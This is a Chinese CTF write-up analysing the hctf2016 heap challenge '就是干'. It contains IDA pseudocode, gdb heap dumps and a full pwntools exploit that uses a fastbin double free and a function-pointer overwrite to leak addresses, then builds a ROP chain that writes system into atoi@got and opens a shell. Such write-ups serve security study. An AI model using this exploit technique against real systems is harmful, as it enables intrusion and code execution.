本文详细分析了hctf2016比赛中一道关于fastbins的题目，通过创建、删除字符串操作，展示了如何利用fastbins进行堆溢出攻击。文章通过Python脚本演示了利用过程，包括修改free函数指针为puts地址，获取ELF基址，以及构造payload绕过DEP并执行system获取shell。最后，提供了相关参考资料链接。
这道题是hctf2016年“就是干”那道题。附件有下载地址及writeup。我就是分析一下：
首先IDA分析一下：
新建两个结构体
00000000 str_struct struc ; (sizeof=0x20)
00000000 str dq ?
00000008 str_padding dq ?
00000010 size dq ?
00000018 free_func dq ?
00000020 str_struct ends
00000020
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 str_list struc ; (sizeof=0x10) ; XREF: .bss:string_listr
00000000 flag dq ?
00000008 str_ptr dq ?
00000010 str_list ends
这两个结构体非常重要了，涉及到后边堆的利用，首先介绍一下第一个结构体str_struct吧,大小是0x20，当要保存的字符串大小小于0xf 时，字符串就保存在0x0-0xf处，当保存的字符串大小大于0xf时，0x0-0x8保存一个指针，指向字符串的地址。 0x10-0x17表示字符串的大小，0x18-0x1f表示free函数的地址。
再介绍一下str_list结构体，当创建string时，置flag=1，当delete string，置flag=0，str-ptr指向str_struct结构体。
然后我把IDA的伪代码贴出来，方便以后分析：
__int64 create_string()
{
signed int i; // [sp+4h] [bp-102Ch]@12
str_struct *string_struct; // [sp+8h] [bp-1028h]@1
char *dest; // [sp+10h] [bp-1020h]@8
unsigned __int64 nbytes; // [sp+18h] [bp-1018h]@1
unsigned __int64 nbytesa; // [sp+18h] [bp-1018h]@6
char buf; // [sp+20h] [bp-1010h]@3
__int64 canary; // [sp+1028h] [bp-8h]@1
canary = *MK_FP(__FS__, 40LL);
string_struct = (str_struct *)malloc(0x20uLL);
printf("Pls give string size:");
nbytes = read_int();
if ( nbytes <= 0x1000 )
{
printf("str:");
if ( read(0, &buf, nbytes) == -1 )
{
puts("got elf!!");
exit(1);
}
nbytesa = strlen(&buf);
if ( nbytesa > 0xF )
{
dest = (char *)malloc(nbytesa);
if ( !dest )
{
puts("malloc faild!");
exit(1);
}
strncpy(dest, &buf, nbytesa);
string_struct->str = (__int64)dest;
string_struct->free_func = (__int64)free_2;
}
else
{
strncpy((char *)string_struct, &buf, nbytesa);
string_struct->free_func = (__int64)free_1;
}
LODWORD(string_struct->size) = nbytesa;
for ( i = 0; i <= 15; ++i )
{
if ( !LODWORD(string_list[i].flag) )
{
LODWORD(string_list[i].flag) = 1;
string_list[i].str_ptr = (__int64)string_struct;
printf("The string id is %d\n", (unsigned int)i);
break;
}
}
if ( i == 16 )
{
puts("The string list is full");
((void (__fastcall *)(str_struct *))string_struct->free_func)(string_struct);
}
}
else
{
puts("Invalid size");
free(string_struct);
}
return *MK_FP(__FS__, 40LL) ^ canary;
}__int64 delete_string()
{
int sid; // [sp+Ch] [bp-114h]@1
char buf; // [sp+10h] [bp-110h]@5
__int64 v3; // [sp+118h] [bp-8h]@1
v3 = *MK_FP(__FS__, 40LL);
printf("Pls give me the string id you want to delete\nid:");
sid = read_int();
if ( sid < 0 || sid > 16 )
puts("Invalid id");
if ( string_list[sid].str_ptr )
{
printf("Are you sure?:");
read(0, &buf, 0x100uLL);
if ( !strncmp(&buf, "yes", 3uLL) )
{
(*(void (__fastcall **)(__int64, _QWORD))(string_list[sid].str_ptr + offsetof(str_struct, free_func)))(
string_list[sid].str_ptr,
"yes");
LODWORD(string_list[sid].flag) = 0;
}
}
return *MK_FP(__FS__, 40LL) ^ v3;
}
主要就是这两个函数了
问题就出在delete函数string_list[sid].str_ptr 这一句，本来是判断flag的，这里变成了判断其他的，所以可以free一个已经free的块了。
咱们还是根据exploit来具体分析一下吧 ，先贴代码：
#!/usr/bin/python
#coding:utf-8
from pwn import *
#r = remote('127.0.0.1', 4444)
r=process('./pwn-f')
def create(size, string):
r.recvuntil('quit')
r.sendline('create ')
r.recvuntil('size:')
r.sendline(str(size))
r.recvuntil('str:')
r.send(string)
def delete(id, sure = 'yes'):
r.recvuntil('quit')
r.sendline('delete ')
r.recvuntil('id:')
r.sendline(str(id))
r.recvuntil('sure?:')
r.sendline(sure)
pause()
create(4, 'aaa\n')
create(4, 'aaa\n')
delete(0) # fastbin->chunk0
delete(1) # fastbin->chunk1->chunk0
delete(0) # fastbin->chunk0->chunk1->chunk0
create(4, '\x00') # 长度为0，没有拷贝 fastbin->chunk1->chunk0->chunk1
# malloc-ptr: fastbin->chunk0->chunk1
# malloc-dest: fastbin->chunk1
create(0x20, 'a' * 0x16 + 'lo' + '\x2d\x00') # 0x2d会覆盖free func的最后一位，覆盖为puts的地址
delete(0)
r.recvuntil('lo')
puts_addr = r.recvline()[:-1]
base_addr = u64(puts_addr.ljust(8, '\x00')) - 0xd2d
print 'base_addr = ' + hex(base_addr)
delete(1) # 调用free2，先free chunk0再free chunk1: fastbin->chunk1->chunk0->chunk1
create(4, '\x00') # fastbin->chunk0->chunk1->chunk0
# malloc-ptr: fastbin->chunk1->chunk0
# malloc-dest: fastbin->chunk0
create(0x20, 'a' * 0x18 + p64(base_addr + 0x11dc)) # pop_pop_pop_pop_ret
payload = p64(base_addr + 0x11e3) # pop_rdi_ret
payload += p64(base_addr + 0x202070) # malloc@got
payload += p64(base_addr + 0x990) # puts@plt
payload += p64(base_addr + 0x11e3)
payload += p64(1)
payload += p64(base_addr + 0x11da) # pop6_ret
payload += p64(0) # rbx
payload += p64(1) # rbp
payload += p64(base_addr + 0x202058) # r12 -> rip read@got
payload += p64(8) # r13 -> rdx
payload += p64(base_addr + 0x202078) # r14 -> rsi atoi@got
payload += p64(0) # r15 -> rdi
payload += p64(base_addr + 0x11c0) # 通用gadget
payload += 'a' * 8 * 7
payload += p64(base_addr + 0xb65) # read_num
delete(1, 'yes'.ljust(8, '\x00') + payload)
malloc_addr = u64(r.recvline()[:-1].ljust(8, '\x00'))
libc_addr = malloc_addr - 0x84130
print 'libc_addr = ' + hex(libc_addr)
system_addr = libc_addr + 0x45390
print 'system_addr = ' + hex(system_addr)
r.sendline(p64(system_addr) + '/bin/sh')
r.interactive()create(4, 'aaa\n')
create(4, 'aaa\n')
创建两个堆块，大小都是4，因为小于0xf，所以直接写到结构体str_struct中：
这就是此时的内存布局，其中id=0的表示0x557a3c652000的堆，id=1的表示0x557a3c652030的堆
0x557a3c652020处表示string的大小，0x557a3c652028表示函数free的地址。
这里我们假设free地址如果可以被覆盖为其他函数的地址，那么其他函数就可以得到执行的机会了。。。
delete(0) # fastbin->chunk0
delete(1) # fastbin->chunk1->chunk0
delete(0) # fastbin->chunk0->chunk1->chunk0
第一次调用delete(0):
gdb-peda$ x/20gx 0x557a3c652000
0x557a3c652000: 0x0000000000000000 0x0000000000000031
0x557a3c652010: 0x0000000000000000 0x0000000000000000
0x557a3c652020: 0x0000000000000004 0x0000557a3c168d52
0x557a3c652030: 0x0000000000000000 0x0000000000000031
0x557a3c652040: 0x000000000a616161 0x0000000000000000
0x557a3c652050: 0x0000000000000004 0x0000557a3c168d52
第一次调用delete（1）后：
gdb-peda$ x/20gx 0x557a3c652000
0x557a3c652000: 0x0000000000000000 0x0000000000000031
0x557a3c652010: 0x0000000000000000 0x0000000000000000
0x557a3c652020: 0x0000000000000004 0x0000557a3c168d52
0x557a3c652030: 0x0000000000000000 0x0000000000000031
0x557a3c652040: 0x0000557a3c652000 0x0000000000000000
0x557a3c652050: 0x0000000000000004 0x0000557a3c168d52
可以看到id=1的堆的fd已经指向了id=0的堆
第二次调用delete（0）后：
gdb-peda$ x/20gx 0x557a3c652000
0x557a3c652000: 0x0000000000000000 0x0000000000000031
0x557a3c652010: 0x0000557a3c652030 0x0000000000000000
0x557a3c652020: 0x0000000000000004 0x0000557a3c168d52
0x557a3c652030: 0x0000000000000000 0x0000000000000031
0x557a3c652040: 0x0000557a3c652000 0x0000000000000000
0x557a3c652050: 0x0000000000000004 0x0000557a3c168d52
可以看到此时id=0的堆的fd也指向了id=1的堆，形成循环链表。
create(4, '\x00')
此时会从id=0的堆上创建堆。（因为此时的fastbins是这样的fastbins->chunk0->chunk1->chunk0）
创建后，内存结构是没有变化的，因为根本没有复制数据：
gdb-peda$ x/20gx 0x557a3c652000
0x557a3c652000: 0x0000000000000000 0x0000000000000031
0x557a3c652010: 0x0000557a3c652030 0x0000000000000000
0x557a3c652020: 0x0000000000000000 0x0000557a3c168d52
0x557a3c652030: 0x0000000000000000 0x0000000000000031
0x557a3c652040: 0x0000557a3c652000 0x0000000000000000
0x557a3c652050: 0x0000000000000004 0x0000557a3c168d52
create(0x20, 'a' * 0x16 + 'lo' + '\x2d\x00') 此时的创建string就是重点了，创建前fastbins->chunk1->chunk0
先看一下create的内部工作原理吧 ，因为此时创建的string大小为0x20大于0xf，所以会在结构体 str_struct 起始处新建一个指针，指向一个堆，堆中保存string数据，堆的大小正好是0x20+0x10，而此时的fastbins链是：fastbins->chunk1->chunk0，所以会将保存string的堆指向chunk0（即id=0的堆）。
创建后内存布局：
gdb-peda$ x/20gx 0x557a3c652000
0x557a3c652000: 0x0000000000000000 0x0000000000000031
0x557a3c652010: 0x6161616161616161 0x6161616161616161
0x557a3c652020: 0x6f6c616161616161 0x0000557a3c168d2d
0x557a3c652030: 0x0000000000000000 0x0000000000000031
0x557a3c652040: 0x0000557a3c652010 0x0000000000000000
0x557a3c652050: 0x0000000000000019 0x0000557a3c168d6c
‘lo’就是为了好识别，可以看到成功将chunk0的0x18-0x1f的最后一个字节修改为0x2d，也就是成功将函数free的地址指针修改为0x0000557a3c168d2d（此地址正好是call puts的地址）
delete(0)
r.recvuntil('lo')
puts_addr = r.recvline()[:-1]
base_addr = u64(puts_addr.ljust(8, '\x00')) - 0xd2d
print 'base_addr = ' + hex(base_addr)
此时调用free函数，也就是调用我们的puts函数了，正好将0x557a3c652010-0x557a3c652030的数据打印出来了，这样就把（call puts）的内存地址打印出来了，然后就可以获取该ELF的基地址了。
delete(1)
首先说明一下，在调用create(0x20, 'a' * 0x16 + 'lo' + '\x2d\x00')后，此时fastbins->chunk1,然后是delete(0)因为此时实际调用的是puts函数，所以没有变化还是fastbins->chunk1。
当delete（1）时，内部调用free_2函数：
.text:0000000000000D6C free_2 proc near ; DATA XREF: create_string+18Co
.text:0000000000000D6C
.text:0000000000000D6C ptr = qword ptr -8
.text:0000000000000D6C
.text:0000000000000D6C push rbp
.text:0000000000000D6D mov rbp, rsp
.text:0000000000000D70 sub rsp, 10h
.text:0000000000000D74 mov [rbp+ptr], rdi
.text:0000000000000D78 mov rax, [rbp+ptr]
.text:0000000000000D7C mov rax, [rax]
.text:0000000000000D7F mov rdi, rax ; ptr
.text:0000000000000D82 call _free
.text:0000000000000D87 mov rax, [rbp+ptr]
.text:0000000000000D8B mov rdi, rax ; ptr
.text:0000000000000D8E call _free
.text:0000000000000D93 leave
.text:0000000000000D94 retn
.text:0000000000000D94 free_2 endp
可以看到此时应该是先free chunk0,后free chunk1(chunk1首地址保存的是chunk0的指针)，所以该操作后： fastbins->chunk1->chunk0->chunk1
gdb-peda$ x/20gx 0x557a3c652000
0x557a3c652000: 0x0000000000000000 0x0000000000000031
0x557a3c652010: 0x0000557a3c652030 0x6161616161616161
0x557a3c652020: 0x6f6c616161616161 0x0000557a3c168d2d
0x557a3c652030: 0x0000000000000000 0x0000000000000031
0x557a3c652040: 0x0000557a3c652000 0x0000000000000000
0x557a3c652050: 0x0000000000000000 0x0000557a3c168d52
create(4, '\x00') 后 fastbins->chunk0->chunk1
gdb-peda$ x/20gx 0x557a3c652000
0x557a3c652000: 0x0000000000000000 0x0000000000000031
0x557a3c652010: 0x0000557a3c652030 0x6161616161616161
0x557a3c652020: 0x6f6c616161616161 0x0000557a3c168d2d
0x557a3c652030: 0x0000000000000000 0x0000000000000031
0x557a3c652040: 0x0000557a3c652000 0x0000000000000000
0x557a3c652050: 0x0000000000000000 0x0000557a3c168d52
create(0x20, 'a' * 0x18 + p64(base_addr + 0x11dc))
在chunk0中创建指针指向chunk1，在chunk1中写入数据。
gdb-peda$ x/20gx 0x557a3c652000
0x557a3c652000: 0x0000000000000000 0x0000000000000031
0x557a3c652010: 0x0000557a3c652040 0x6161616161616161
0x557a3c652020: 0x6f6c61610000001e 0x0000557a3c168d6c
0x557a3c652030: 0x0000000000000000 0x0000000000000031
0x557a3c652040: 0x6161616161616161 0x6161616161616161
0x557a3c652050: 0x6161616161616161 0x0000557a3c1691dc
可以看到成功将chunk1的free函数替换为pppr的地址。
payload = p64(base_addr + 0x11e3) # pop_rdi_ret
payload += p64(base_addr + 0x202070) # malloc@got
payload += p64(base_addr + 0x990) # puts@plt
payload += p64(base_addr + 0x11e3)
payload += p64(1)
payload += p64(base_addr + 0x11da) # pop6_ret
payload += p64(0) # rbx
payload += p64(1) # rbp
payload += p64(base_addr + 0x202058) # r12 -> rip read@got
payload += p64(8) # r13 -> rdx
payload += p64(base_addr + 0x202078) # r14 -> rsi atoi@got
payload += p64(0) # r15 -> rdi
payload += p64(base_addr + 0x11c0) # 通用gadget
payload += 'a' * 8 * 7
payload += p64(base_addr + 0xb65) # read_num
payload用于绕过DEP，可以看到最后是调用puts将malloc函数地址打印出来。
利用read读取数据（system地址）到atoi@got中，这样当调用atoi函数时，system得到执行，获取了shell。
delete(1, 'yes'.ljust(8, '\x00') + payload)
查看fastbins链：
p
&main_arena.fastbinsY
参考：
1. http://pwn4.fun/2017/02/25/fastbin上的堆漏洞利用/
扫一扫
1152
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
